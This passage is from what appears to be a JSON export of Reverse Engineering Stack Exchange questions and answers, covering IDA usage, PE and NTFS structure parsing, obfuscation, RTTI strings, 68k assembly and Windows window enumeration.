off-topic, any hint on \"How to get started?\" would be highly appreciated.</p>\n",
        "Title": "How to find out where an application stores the resolutions it allows?",
        "Tags": "|binary-analysis|binary|binary-format|binary-diagnosis|",
        "Answer": "<p>One method (theoretical at this point) that comes to mind is searching for constants like resolution numbers in instructions for example, a game uses 600x800 resolution - you might find instructions like</p>\n\n<pre><code>push 0x320 #800 in decimal\npush 0x258 #600 in decimal\ncall initwindowfunction_orsomething\n</code></pre>\n\n<p>or it might reference integers stored in a data section or allocated memory, or use a completely different method.\nthat is one example however, and of course there are many many different ways they might do this I hope this can get you started or at least help you come up with some ideas.</p>\n\n<p>I have no practical research that supports this yet, but will try to find something in my free time</p>\n\n<p>--EDIT--</p>\n\n<p>Another idea is to look at different open source games, maybe ones similar to your target, and figure out how they do it.</p>\n"
    },
    {
        "Id": "15756",
        "CreationDate": "2017-07-04T12:40:57.030",
        "Body": "<p>For example I have eax 7c9100a4 -> ntdll.RtlCreateHeap\nI can get reg value in my plugin but I can't get the api name\nHow can get the correct api name from the address?</p>\n",
        "Title": "How to get API name from address in registry value in IDA plugin",
        "Tags": "|ida|ida-plugin|",
        "Answer": "<pre><code>NameEx(BADADDR, GetRegValue(\"EAX\"))\n</code></pre>\n"
    },
    {
        "Id": "15761",
        "CreationDate": "2017-07-04T21:17:49.030",
        "Body": "<p><a href=\"https://i.stack.imgur.com/gDuFf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gDuFf.png\" alt=\"IDA Pro Screenshot\"></a></p>\n\n<p>What are grey dashed lines supposed to represent in IDA? I am new to IDA + new to reverse engineering in general. I originally thought these marked functions that IDA hadn't defined but looking into blocks that don't return etc this probably isn't the case.</p>\n\n<p>Could anyone enlighten me on what these signify? </p>\n",
        "Title": "What do the grey dashed lines in IDA's text view represent?",
        "Tags": "|ida|",
        "Answer": "<p>begin/end of block, may be possible a function or unlink switch table</p>\n"
    },
    {
        "Id": "15770",
        "CreationDate": "2017-07-06T07:21:32.643",
        "Body": "<p>I was trying to reverse engineer an android ndk (arm) using ida pro on a static analysis. However, it appears there are a lot of useless jumps to the same place and with random values set to R1 to compare and jump again. Like the following picture. Nearly every function is doing something similar -- Initialization first (stuffs like push registers), then it jumps to code somewhere (like the right up corner of the picture), load random values to R1 register and compare it with R0 and do the jumps, but it will always jump back to the up corner again</p>\n\n<p><a href=\"https://i.stack.imgur.com/NzXbP.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/NzXbP.jpg\" alt=\"Code graph\"></a></p>\n\n<p>Here is another case, it seems loc_FFBA and it's following branches serve as a big switch, but what doesn't make sense is nearly every branch will eventually jump back to loc_FFBA again. There can be a flow red->green->blue->red, but it doesn't even make sense... You can see the jump in blue is even useless because if it takes jump to blue (R0>0x6fe5e521), it will definitely take the jump to the red (R0>0x661cf941)...</p>\n\n<p><a href=\"https://i.stack.imgur.com/nuCQC.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/nuCQC.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>My question is, is this done intentionally by the author to prevent the reverse engineering? If so how is it achieved? For me, it sounds like the author will need a lot of if-else and goto clause in his C++ code, but that will also slow down the development because he may confuse himself... And it doesn't seem the .so ndk is packed, since by using a debugger, I found generally what it actually does is just to decode a resource file to an apk and load it dynamically, but all the decryption is done by calling JNI functions to do an AES decryption to load the APK, rather than do it in C++, so the messed up jumps seems not to be something related to the decryption either...</p>\n\n<p>Maybe there's some kind of compiler that will generate the junks if this is really an intentional obfuscation? </p>\n",
        "Title": "Is there a name for this kind of \"obfuscation\" for the machine code from C++?",
        "Tags": "|ida|c++|android|obfuscation|",
        "Answer": "<p><strong>There are several method of obfuscation</strong>, including:</p>\n<ul>\n<li>obfuscation based on source code obfuscation.</li>\n<li>meta-level based code obfuscation (compile-time level).</li>\n<li>IR level obfuscation (like OLLVM and etc).</li>\n<li>binary level obfuscation (instructions morphing, shuffling and etc).</li>\n<li>packing/protection level obfuscation (which involves using external tools to protect the binary code and restore it while executing).</li>\n<li>compilation of these methods.</li>\n</ul>\n<p><strong>Each of these methods has its own advantages and disadvantages</strong>:\nFor example</p>\n<ul>\n<li>Compile-time level obfuscation can be difficult to control and debug.</li>\n<li>While Binary level of obfuscation can leave many signs of obfuscation such as changed opcode sequences and abnormal constructions.</li>\n<li>IR level obfuscators can also leave many signs of obfuscation and can be easily deobfuscated with automatic or semi-automatic tools.</li>\n<li>Packing/protection level obfuscation may easily be deobfuscated\\unpacked with automatic tools too and protected binary will be restored as original one.</li>\n</ul>\n<p>Here I want to stop on code level obfuscation and transformation.</p>\n<p>Yes, when it comes to code level obfuscation and transformation, parsing and handling the code of all C/C++ languages (including ISO versions such as C17+) is a complex task.</p>\n<p>Processing transformation passes at the source code level can also be challenging.\nHowever, if done correctly, code level obfuscation can provide many benefits. For example, mixing dummy generated code with the original code can protect against automatic deobfuscation.</p>\n<p>Adding powerful opaque predicates with complex precalculation can also protect against auto tracing and code simplify tools. Protecting strings, values, and expressions at the source level is also valuable. Additionally, the control flow of the code can be shuffled without changing the logic through techniques such as while/goto jumps or conditional if blocks.\nBut we should remember about code optimization by complier phase and prepare code obfuscation passes with mind of how to avoid optimization of protected code.</p>\n<p>So, code level obfuscation and transformation can be a powerful tool for protecting code against reverse engineering and tampering attacks. However, it is important to carefully consider the pros and cons of each method and to design the obfuscation passes with an understanding of how they will be affected by compiler optimization. By doing so, it is possible to effectively protect code and safeguard intellectual property.</p>\n<p>At RandomBlocks Lab, we use code level obfuscation in our CodeMorpher C/C++ Code Obfuscator to protect our customers' code. We leverage the power of the Clang parser and our own techniques and transformation passes to ensure the highest level of protection. Our team of experts has extensive experience in code obfuscation and is committed to helping our customers safeguard their intellectual property. If you are looking to protect your C/C++ code, we encourage you to give our CodeMorpher Obfuscator a try.\nWe believe it is the most effective solution available for code level obfuscation.</p>\n"
    },
    {
        "Id": "15774",
        "CreationDate": "2017-07-06T20:26:49.850",
        "Body": "<p>I'd like to get started with reverse engineering.</p>\n<p>Several years ago I saw many programs called <a href=\"https://en.wikipedia.org/wiki/Crackme\" rel=\"nofollow noreferrer\">crackmes</a>, to crack.</p>\n<p>When I searched for some this week, I found none.</p>\n<p>My question is, can somebody recommend some websites (like crackme walkthroughs) or learning resources to get started with reverse engineering?</p>\n",
        "Title": "Crack Me Material",
        "Tags": "|crackme|",
        "Answer": "<p>Although this is an old posting, I would like to add a long-standing still active site with great challenges (sometimes pretty pretty hard, in the higher levels):\n<a href=\"https://overthewire.org/wargames/\" rel=\"nofollow noreferrer\">https://overthewire.org/wargames/</a></p>\n"
    },
    {
        "Id": "15777",
        "CreationDate": "2017-07-06T22:04:04.227",
        "Body": "<p>I've been able to locate the .text section of the module, knowing the base address of that section and its size how would I be able to find the other segments of the DLL, like .rdata, .data, .bss, etc. </p>\n",
        "Title": "Finding other segments of a manually mapped DLL having found the .text segment",
        "Tags": "|dll|",
        "Answer": "<p>You'll make 2 assumptions: </p>\n\n<ol>\n<li>all virtual memory allocations are done with 4k (0x1000) incremental</li>\n<li><code>.text</code> section will (in most cases) be places after the PE header</li>\n</ol>\n\n<p>So, your goal would be to find the DLL's PE header and parse it to find all the parameters of the other sections, assuming they are present. Using above assumptions, you would:</p>\n\n<ol>\n<li>Decrement your known base address by 0x1000</li>\n<li>Check that this new address is valid (i.e <code>VirtualQuery</code>)</li>\n<li>Check for presence of <code>MZ</code> signature starting the address from (1)\n\n<ol>\n<li>If found, parse the header and you can calculate the offsets based on the header data - you already know where <code>.text</code> located, extrapolate for other sections the same way.</li>\n</ol></li>\n<li>Repeat for reasonable amount of times till you find the header.</li>\n</ol>\n"
    },
    {
        "Id": "15781",
        "CreationDate": "2017-07-07T06:59:45.710",
        "Body": "<p>When it comes to reversing apk files, I understand that are mainly 2 approaches. The first involves using a decompilation engine which will try to produce java files which are more readable but can be unreliable when the apk uses obsfucation. The 2nd method i know of involves converting the dex files into smali code which are more reliable but slightly harder to understand. When it comes to detecting malware by looking for method calls, which approach is more suitable? (I am not interested in re-packaging the code into a working apk.)</p>\n",
        "Title": "Smali vs Decompilation for malware detection in apk files",
        "Tags": "|decompilation|android|java|apk|api|",
        "Answer": "<p>If you want to understand the overall structure, like to locate the suspicious method, I would recommend decompile to java to check first, since java is in a much higher level and can be indexed easily to see the code structure.. For smali, it's more suitable for repackaging since it's just a kind of assembly for dex binary, but its level is low and needs some learning if you're not very familiar with it</p>\n"
    },
    {
        "Id": "15789",
        "CreationDate": "2017-07-08T00:21:39.510",
        "Body": "<p>so i'm reversing a file format of game. As far as i can understand the file i'm trying to reverse contains compressed textures. I'm already able to locate the textures and decompress them, but i'm not entirely sure if it's compression or some weird encoding.</p>\n\n<p>During the process there's a huge buffer that's accessed a lot of times, giving the information of the current pixel being drawn. The buffer contains 4 byte unsigned integers and is generated through the following function:</p>\n\n<pre><code>for(uint32_t counter = 0; counter&lt;0x400; counter++){\n\n    //unk1 eax\n    //unk2 edx\n    //unk3 esi\n    //unk4 ecx\n    //loc_5115EB\n    uint32_t unk1 = (counter &gt;&gt; 1) &amp; 0x55555555;\n    uint32_t unk3 = (unk1 * 2) ^ counter;\n    uint32_t unk4 = ((unk3 &gt;&gt; 2) &amp; 0x33333333) ^ ((counter &gt;&gt; 1) &amp; 0x11111111);\n\n    unk1 ^= unk4;\n    unk3 ^= (unk4 &lt;&lt; 2);\n\n    unk4 = ((unk3 &gt;&gt; 4) &amp; 0x0F0F0F0F) ^ (unk1 &amp; 0x0F0F0F0F);\n    unk1 ^= unk4;\n    unk3 ^= (unk4 &lt;&lt; 4);\n\n    unk4 = ((unk3 &gt;&gt; 8) &amp; 0x00FF00FF) ^ (unk1 &amp; 0x00FF00FF);\n\n    buffer[counter] = (((unk4 &amp; 0xFF) &lt;&lt; 8) ^ (unk3 &amp; 0xFFFF)) | ((unk4 ^ unk1) &lt;&lt; 16); \n\n}\n</code></pre>\n\n<p>The resulting sequence in hex is:</p>\n\n<p>00 00 00 00 01 00 00 00 04 00 00 00 05 00 00 00 10 00 00 00 11 00 00 00 14 00 00 00 15 00 00 00 40 00 00 00 41 00 00 00 44 00 00 00 45 00 00 00 50 00 00 00 51 00 00 00 54 00 00 00 55 00 00 00 00 01 00 00 01 01 00 00 04 01 00 00 05 01 00 00 10 01 00 00 11 01 00 00 14 01 00 00 15 01 00 00 40 01 00 00 41 01 00 00 44 01 00 00 45 01 00 00 50 01 00 00 51 01 00 00 54 01 00 00 55 01 00 00 00 04 00 00 01 04 00 00 04 04 00 00 05 04 00 00 10 04 00 00 11 04 00 00 14 04 00 00 15 04 00 00</p>\n\n<p>or in decimal 0, 1, 4, 5, 16, 17, 20, 21, 64, 65...</p>\n\n<p>I tried to search it online but couldn't find any info regarding the sequence.\nBut i found 0x55555555 and the others numbers are \"magic\" numbers, having a wide use.</p>\n",
        "Title": "What does this sequence of numbers mean?",
        "Tags": "|static-analysis|encryption|hex|",
        "Answer": "<p>Asked this to a person who has more knowledge than me and he was able to answer!</p>\n<p>This is the <a href=\"http://oeis.org/A000695\" rel=\"nofollow noreferrer\">Moser-de Bruijn sequence</a> and looks like it's used for binary interleaving which is really important in this case, since i'm working with image compression.</p>\n<p>By the way I have to apologize since i should've posted a more significant decimal representation of the sequence, which is now added to the main post.</p>\n"
    },
    {
        "Id": "15800",
        "CreationDate": "2017-07-10T18:37:14.383",
        "Body": "<p>I see these in VC++ compiled programs often. However, I've searched for several of them, such as AVCCHKBOX@@ and AVCDLC_NAME@@ to no avail. What are these called?\n<a href=\"https://i.stack.imgur.com/1e3nK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1e3nK.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "What is the general term used for these pictured symbols?",
        "Tags": "|msvc|",
        "Answer": "<p>These strings are part of the <em>Run-Time Type Information (RTTI)</em> produced by Visual C++ for polymorphic classes. This old article of mine describes some of it: <a href=\"http://www.openrce.org/articles/full_view/23\" rel=\"nofollow noreferrer\">http://www.openrce.org/articles/full_view/23</a></p>\n"
    },
    {
        "Id": "15803",
        "CreationDate": "2017-07-11T01:02:57.563",
        "Body": "<p>During my current project I found such code:</p>\n\n<pre><code>move.w  (0xFFFC0C).l, d0 | read SCSR\nandi.w  #0x100, d0       | add 256 to d0\nbeq.s   location         | branch if LSB = 0x00\n</code></pre>\n\n<p>I cannot get the idea of this fragment. I guess author tried to check the status of the UART, but how does <code>andi.w</code> and <code>beq.s</code> serves the purpose, when SCSR may contain maximum of 9 bits?</p>\n\n<p><a href=\"https://i.stack.imgur.com/C3JLQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/C3JLQ.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "68k: Adding 0x100 to 9-bit register and doing BEQ.s - how does it make sense?",
        "Tags": "|disassembly|assembly|motorola|",
        "Answer": "<p>It's not adding. It is <a href=\"https://en.wikipedia.org/wiki/Bitwise_operation#AND\" rel=\"nofollow noreferrer\">binary and operation</a>, and in translation to C the code looks as follows:</p>\n\n<pre><code>d0 = readSCSR(); // move.w  (0xFFFC0C).l, d0 | read SCSR\nif (d0 &amp; 0x100) \n//andi.w  #0x100, d0       | not add, but AND 256 to d0\n//beq.s   location         | branch if LSB = 0x00\n{\n    // do whatever needed\n}\nlocation: // else branch to location\n</code></pre>\n"
    },
    {
        "Id": "15807",
        "CreationDate": "2017-07-12T05:00:00.843",
        "Body": "<p>How can I find out what code is being called when you right click on a process in Windows Task Manager, and click on \"Bring To Front\" ?</p>\n\n<p>This is related to <a href=\"https://stackoverflow.com/questions/45046765/bring-window-to-foreground-when-mainwindowhandle-is-0\">https://stackoverflow.com/questions/45046765/bring-window-to-foreground-when-mainwindowhandle-is-0</a>.</p>\n\n<p>The <code>SetForegroundWindow</code> method only works if the <code>MainWindowHandle</code> is not 0.\nBut the \"Bring To Front\" button in Windows Task Manager works even if the <code>MainWindowHandle</code> is 0.</p>\n",
        "Title": "Find the code used when you right click and select \"Bring To Front\" in Task Manager",
        "Tags": "|windows|winapi|",
        "Answer": "<p>Here's the answer:\n<a href=\"http://reinventingthewheel.azurewebsites.net/MainWindowHandleIsALie.aspx\" rel=\"nofollow noreferrer\">http://reinventingthewheel.azurewebsites.net/MainWindowHandleIsALie.aspx</a></p>\n\n<p>I had to use <code>EnumWindows</code> to get the correct handle.</p>\n\n<pre><code>$TypeDef2 = @\"\n\n    using System;\n    using System.Text;\n    using System.Collections.Generic;\n    using System.Runtime.InteropServices;\n\n    namespace Api\n    {\n\n    public class WinStruct\n    {\n       public string WinTitle {get; set; }\n       public int MainWindowHandle { get; set; }\n    }\n\n    public class ApiDef\n    {\n       private delegate bool CallBackPtr(int hwnd, int lParam);\n       private static CallBackPtr callBackPtr = Callback;\n       private static List&lt;WinStruct&gt; _WinStructList = new List&lt;WinStruct&gt;();\n\n       [DllImport(\"User32.dll\")]\n       [return: MarshalAs(UnmanagedType.Bool)]\n       private static extern bool EnumWindows(CallBackPtr lpEnumFunc, IntPtr lParam);\n\n       [DllImport(\"user32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n       static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);\n\n       private static bool Callback(int hWnd, int lparam)\n       {\n           StringBuilder sb = new StringBuilder(256);\n           int res = GetWindowText((IntPtr)hWnd, sb, 256);\n          _WinStructList.Add(new WinStruct { MainWindowHandle = hWnd, WinTitle = sb.ToString() });\n           return true;\n       }  \n\n       public static List&lt;WinStruct&gt; GetWindows()\n       {\n          _WinStructList = new List&lt;WinStruct&gt;();\n          EnumWindows(callBackPtr, IntPtr.Zero);\n          return _WinStructList;\n       }\n\n    }\n    }\n    \"@\n\n    Add-Type -TypeDefinition $TypeDef2 -Language CSharpVersion3\n\n    $excelInstance = [Api.Apidef]::GetWindows() | Where-Object { $_.WinTitle.ToUpper() -eq \"Microsoft Excel - Compatibility Checker\".ToUpper() }\n\n$TypeDef1 = @\"\n      using System;\n      using System.Runtime.InteropServices;\n      public class Tricks {\n         [DllImport(\"user32.dll\")]\n         [return: MarshalAs(UnmanagedType.Bool)]\n         public static extern bool SetForegroundWindow(IntPtr hWnd);\n      }\n    \"@\n\n    Add-Type -TypeDefinition $TypeDef1 -Language CSharpVersion3\n\n    [void][Tricks]::SetForegroundWindow($excelInstance.MainWindowHandle)\n</code></pre>\n"
    },
    {
        "Id": "15809",
        "CreationDate": "2017-07-12T13:47:02.740",
        "Body": "<p>There are hundreds <em>unicode</em> strings in rdata's binary, but IDA doesn't define them properly, so I have to specify each Unicode string offset manually (Alt+A -> Unicode). After doing so, string is rendered properly. </p>\n\n<p>I'm wondering, whether there are some scripts here, since I've googled too much, and changed any possible settings and defaults to Unicode, but still no results.</p>\n",
        "Title": "Auto recognition of Unicode Strings",
        "Tags": "|ida|",
        "Answer": "<p>I've found solution\n<a href=\"http://www.openrce.org/forums/posts/771\" rel=\"nofollow noreferrer\">http://www.openrce.org/forums/posts/771</a></p>\n\n<p>There is only 1 \"but\" - it works with <strong>undefined strings only</strong>. That's why changing settings <strong>didn't help me in existing project</strong> - unicode strings were defined somehow as a data.</p>\n\n<p>So I've opened binary from scratch, with \"Create offset if data xref to seg32 exists\" disabled, and IDA recognized all unicode strings.</p>\n\n<p>I dumped all UNICODE strings addresses (begin-end) from newly recognized project, using IDAPython magics. And then used them in existing project: take an address range, undefine it, define as data (with UNICODE), define a string.</p>\n\n<p>Worked like a charm.</p>\n"
    },
    {
        "Id": "15810",
        "CreationDate": "2017-07-12T15:03:18.040",
        "Body": "<p>I am working on a reverse engineering task, in which I need to recover function prototype (including number of parameters, type of each parameter) from the input binary (<code>ELF</code> binary on <code>64-bit</code> Linux).</p>\n\n<p>While <code>IDA-Pro</code> can be guided to recover function prototype for functions defined inside the binary code, I am trapped in recovering library functions invoked inside the binary code. </p>\n\n<p>For example:</p>\n\n<pre><code>mov str_pointer, %rdi\ncall puts  &lt;---- Library function \n</code></pre>\n\n<p>So here is my question: </p>\n\n<ol>\n<li>can I use IDA-Pro to somehow recover the library function's prototype? </li>\n<li>If not\uff0cit seems to me that I can benefit from some database on this info? Could anyone shed some lights on this? </li>\n</ol>\n\n<p>Thanks</p>\n",
        "Title": "Recover Library Function ProtoType from IDA-Pro",
        "Tags": "|ida|ida-plugin|",
        "Answer": "<p>Go to the function that you want to get the prototype for and press \"Y\". If you have the decompiler, just decompile it and check if the prototype it guessed is right. Often you will need to fix things manually. However, I can assure these ways work because I actually use them almost daily.</p>\n"
    },
    {
        "Id": "15816",
        "CreationDate": "2017-07-13T16:07:22.563",
        "Body": "<p>I have an executable of a mac or ios app. This app uses a value stored for a key in <code>NSUserDefaults</code> to change app's flow. </p>\n\n<p>It looks something like below code,</p>\n\n<pre><code>If( value set in user details )\n        show something \nelse\n        hide something \n</code></pre>\n\n<p>My question is how can I change the value stored for a key in <code>NSUserDefaults</code> using hopper disassembler ?</p>\n",
        "Title": "Changing NSUserDefaults of a mac or iOS binary executable",
        "Tags": "|disassembly|ios|osx|hopper|",
        "Answer": "<p>The values are stored in a plist file under ~/Library/Preferences (or ~/Library/Containers/.../ if sandboxed). You can find more information about it from <a href=\"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/UserPreferences.html\" rel=\"nofollow noreferrer\">Apple's documentation</a>.</p>\n\n<p>The easiest way to modify a value is to use the defaults program under terminal.</p>\n\n<p><code>defaults write &lt;bundle identifier&gt; &lt;key&gt; &lt;value&gt;</code></p>\n"
    },
    {
        "Id": "15820",
        "CreationDate": "2017-07-14T01:50:23.147",
        "Body": "<p>In <a href=\"https://youtu.be/efkLG8-G3J0?t=12m59s\" rel=\"nofollow noreferrer\">Recon 2011: Practical C++ Decompilation</a> there is this example where some fields are assigned before the derived class' virtual table pointer is:</p>\n\n<pre><code>public: __thiscall CMachine::CMachine(void) proc near\n mov edi, edi\n push esi\n mov esi, ecx\n call CDataStoreObject::CDataStoreObject(void)\n and dword ptr [esi+24h], 0\n or dword ptr [esi+28h], 0FFFFFFFFh\n and dword ptr [esi+2Ch], 0\n or dword ptr [esi+30h], 0FFFFFFFFh\n mov dword ptr [esi], offset const CMachine::`vftable'\n mov eax, esi\n pop esi\n retn\npublic: __thiscall CMachine::CMachine(void) endp\n</code></pre>\n\n<p>Igor mentions that the assigning of those fields are not written by the programmer because they come before the virtual table pointer. Would someone mind explaining what these fields are and possibly what the values could represent?</p>\n",
        "Title": "What are these extra members in this derived constructor?",
        "Tags": "|vtables|",
        "Answer": "<p>the c++ code is like:</p>\n\n<pre><code>CMachine *__thiscall CMachine::CMachine(CMachine\n*this)\n{\nCDataStoreObject::CDataStoreObject(&amp;this-&gt;_);\nthis-&gt;dword24 = 0;\nthis-&gt;dword28 = -1;\nthis-&gt;dword2C = 0;\nthis-&gt;dword30 = -1;\nthis-&gt;_._vtable = (CMachine_vtable\n*)&amp;CMachine::_vftable_;\nreturn this;\n}\n</code></pre>\n\n<p>the class CMachine has a member or a super class CDataStoreObject.\nthe assigning of those fields should/could be the members of class CDataStoreObject. or for alignment.</p>\n\n<p>compiler optimization in details might looks odd seeing from machine code.\nit depends on the optimization level and compiler type/version.</p>\n"
    },
    {
        "Id": "15823",
        "CreationDate": "2017-07-14T09:28:17.100",
        "Body": "<p>I have a stubborn PE file which I cannot get to load. The PE headers seem to be intact and the file even parses fine in several PE tools. I am receiving a \"Invalid Win32 Application\" error when I try to fire it up. In fact, the loader never even starts up because there are no loader flags to be displayed for the process in WinDbg. Something is going wrong between the handoff from Explorer.exe and the load inside the Kernel. ProcMon shows a \"FILE LOCKED WITH ONLY READERS\" status when Explorer.exe tries to <strong>CreateFileMapping</strong> the file.</p>\n\n<p>So thus I've entered Kernel Mode debugging on WinDbg. However, I'm not sure how to configure the debugger to properly troubleshoot this problem. When I press \"g\" and then open the file, it just crashes as normal and I have no log in WinDbg. If I press \"Break\" then I'm paused. I need to somehow break as soon as I double-click the file and then sep through the kernel code.</p>\n",
        "Title": "How can WinDbg be used to troubleshoot program loading?",
        "Tags": "|windows|pe|windbg|kernel-mode|",
        "Answer": "<p>I would suggest you to put a breakpoint on <a href=\"https://doxygen.reactos.org/dc/de2/ARM3_2section_8c_source.html#l03369\" rel=\"nofollow noreferrer\"><code>NtCreateSection</code></a> function which is responsible on validating and mapping the PE image <a href=\"https://www.osronline.com/showthread.cfm?link=156251\" rel=\"nofollow noreferrer\">when called with <code>SEC_IMAGE</code> flag</a>. Hopefully you can track down where it fails by stepping through it.</p>\n"
    },
    {
        "Id": "15860",
        "CreationDate": "2017-07-19T10:47:09.080",
        "Body": "<p>While parsing my NTFS formatted hard disk, I found some invalid entries of INDX while Windows is still able to list all the root directory contents!</p>\n\n<p>The structure of the Index Record in <em>NTFS 3.1</em> is clear (<a href=\"http://dubeyko.com/development/FileSystems/NTFS/ntfsdoc.pdf\" rel=\"nofollow noreferrer\">NTFS doc</a>):</p>\n\n<pre><code>Offset      Description\n-------------------------------------\n0x00        MFT Reference of the file\n0x08        Size of the index entry\n0x0A        Offset to the filename\n...\n0x52        Filename\n...\n</code></pre>\n\n<p>However, I found some entries where their size is faulty as well as their MFT Reference (which is a bunch of zeros)!</p>\n\n<p>I enclose a screenshot that shows a part of INDX along side with their text representations where each line is of width <code>0x20</code>. I highlighted the faulty part.</p>\n\n<p><a href=\"https://i.stack.imgur.com/uVaMQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uVaMQ.png\" alt=\"The invalid entries of INDX\"></a></p>\n\n<p>The figure shows that entries were parsed rationally until the last correct entry at <code>0x0628</code>:</p>\n\n<ul>\n<li>MFT Reference (8 bytes): <code>66 30 00 00 00 00 01 00</code></li>\n<li>Size of entry (2 bytes): <code>70 00</code>\nSo the entry ends at <code>0x0697</code>.</li>\n</ul>\n\n<p>Thereafter, things got weird! Entries at <code>0x0698</code>:</p>\n\n<ul>\n<li>MFT Reference (8 bytes): <code>00 00 00 00 00 00 00 00</code> Seems invalid</li>\n<li>Size of entry (2 bytes): <code>10 00</code> Of course invalid because the size is less than the entry structure minimum size that includes the filename at <code>0x52</code> for instance.</li>\n</ul>\n\n<p>For me, it seems that \"Buziol Games\" was a deleted folder on the root directory of the harddisk, I am not sure. Anyway, Windows explorer is not facing troubles on listing the contents.</p>\n\n<p>Do anybody understand how does it work? How do Windows continue parsing?</p>\n\n<p><strong>EDIT</strong>: In addition, please find the hex dump as a pure text on <a href=\"https://pastebin.com/kksNZQ5t\" rel=\"nofollow noreferrer\">pastebin</a></p>\n",
        "Title": "Invalid INDX entries for $I30 on NTFS harddisk",
        "Tags": "|windows|hex|",
        "Answer": "<p>The INDEX_RECORD_ENTRY should be preceded by INDEX_HEADER with the magic signature <strong>INDX</strong>  </p>\n\n<p>without the header deciphering the INDEX_RECORD_ENTRIES is difficult as shown in your screen shot </p>\n\n<p>the following observations are based on the pastebin dump you edited in later</p>\n\n<p>i converted the hex to binary with a bat file thus</p>\n\n<pre><code>rem make a copy \ncopy %1 %2\nrem compare both\nfc %1 %2\nrem dump the first line for visualizing\nhead -1 %2\nrem strip the address,colon and space \nrem this is to make it compatible with xxd input\nsed s/.*:\\x20//g %2 &gt; %3\nrem dump the ripped hex file first line \nhead -1 %3\nrem convert hex to binary \nxxd -r -p %3 &gt; %4\nrem check the size and compare with word count\nrem both should be same \nls -l %4\nwc -w %3\n</code></pre>\n\n<p>executing the bat file on the downloaded pastebin dump</p>\n\n<pre><code>C:\\indx&gt;converthextobin.bat indx_$i30_dump.txt indxhex.txt indxstripped.txt indxbin.bin\n\nC:\\indx&gt;rem make a copy\nC:\\indx&gt;copy indx_$i30_dump.txt indxhex.txt\n        1 file(s) copied.\n\nC:\\indx&gt;rem compare both\nC:\\indx&gt;fc indx_$i30_dump.txt indxhex.txt\nComparing files indx_$i30_dump.txt and INDXHEX.TXT\nFC: no differences encountered\n\nC:\\indx&gt;rem dump the first line for visualizing\nC:\\indx&gt;head -1 indxhex.txt\n0000: 49 4E 44 58 28 00 09 00 D2 92 87 08 00 00 00 00\n\nC:\\indx&gt;rem strip the address,colon and space\nC:\\indx&gt;rem this is to make it compatible with xxd input\nC:\\indx&gt;sed s/.*:\\x20//g indxhex.txt  1&gt;indxstripped.txt\n\nC:\\indx&gt;rem dump the ripped hex file first line\nC:\\indx&gt;head -1 indxstripped.txt\n49 4E 44 58 28 00 09 00 D2 92 87 08 00 00 00 00\n\nC:\\indx&gt;rem convert hex to binary\nC:\\indx&gt;xxd -r -p indxstripped.txt  1&gt;indxbin.bin\n\nC:\\indx&gt;rem check the size and compare with word count\nC:\\indx&gt;rem both should be same\nC:\\indx&gt;ls -l indxbin.bin\n-rw-rw-rw-  1 HP 0 6656 2017-07-22 15:20 indxbin.bin\nC:\\indx&gt;wc -w indxstripped.txt\n6656 indxstripped.txt\n</code></pre>\n\n<p>now that we have a binary form we can start exploring </p>\n\n<p>lets dump the INDEX_HEADER and verify </p>\n\n<pre><code>@echo off\nxxd -s00 -g4 -l4 indxbin.bin &amp;^\nxxd -s04 -g2 -l2 indxbin.bin &amp;^\nxxd -s06 -g2 -l2 indxbin.bin &amp;^\nxxd -s08 -g8 -l8 indxbin.bin &amp;^\nxxd -s16 -g8 -l8 indxbin.bin &amp;^\nxxd -s24 -g4 -l4 indxbin.bin &amp;^\nxxd -s28 -g4 -l4 indxbin.bin &amp;^\nxxd -s32 -g4 -l4 indxbin.bin &amp;^\nxxd -s36 -g1 -l1 indxbin.bin &amp;^\nxxd -s37 -g3 -l3 indxbin.bin &amp;^\nxxd -s40 -g2 -l2 indxbin.bin\n</code></pre>\n\n<p>executed we get the INDEX_HEADER</p>\n\n<pre><code>C:\\indx&gt;dumpindxheader.bat\n0000000: 494e4458                             INDX\n0000004: 2800                                     (.\n0000006: 0900                                     ..\n0000000: 494e445828000900                   INDX(...\n0000010: 0000000000000000                   ........\n0000018: 40000000                             @...\n000001c: 90060000                             ....\n0000020: e80f0000                             ....\n0000024: 00\n0000025: 000000                                 ...\n0000028: 1e02                                     ..\n</code></pre>\n\n<p>we can see the INDEX_RECORD_ENTRY relative to HEADER_OFFSET is 0x40 (i haven't tried to control the Endiannes in xxd output)   </p>\n\n<p>so the INDEX_RECORD_ENTRY (terminology may be incorrect ) starts at 0x40+0x18 = 0x58<br>\nit is a variable sized structure padded appropriately to boundaries    </p>\n\n<p>dumping the record entry</p>\n\n<pre><code>@echo off\nxxd -s88 -g8 -l8 indxbin.bin &amp;^\nxxd -s96 -g2 -l2 indxbin.bin &amp;^\nxxd -s98 -g2 -l2 indxbin.bin &amp;^\nxxd -s100 -g2 -l2 indxbin.bin &amp;^\nxxd -s102 -g2 -l2 indxbin.bin &amp;^\nxxd -c8 -s104 -g8 -l64 indxbin.bin &amp;^\nxxd -s168 -g1 -l1 indxbin.bin &amp;^\nxxd -s169 -g1 -l1 indxbin.bin &amp;^\nxxd -s170 -g1 -l22 indxbin.bin\n</code></pre>\n\n<p>executing the bat file </p>\n\n<pre><code>C:\\indx&gt;dumpindxrecordentry.bat\n0000058: 0400000000000400                   ........\n0000060: 6800                                     h.\n0000062: 5200                                     R.\n0000064: 0000                                     ..\n0000066: 0000                                     ..\n0000068: 0500000000000500  ........\n0000070: d07fa49ac58cd201  ........\n0000078: d07fa49ac58cd201  ........\n0000080: d07fa49ac58cd201  ........\n0000088: d07fa49ac58cd201  ........\n0000090: 0090000000000000  ........\n0000098: a08c000000000000  ........\n00000a0: 0600000000000000  ........\n00000a8: 08                                               .\n00000a9: 03                                               .\n00000aa: 24 00 41 00 74 00 74 00 72 00 44 00 65 00 66 00  $.A.t.t.r.D.e.f.\n00000ba: 00 00 00 00 00 00                                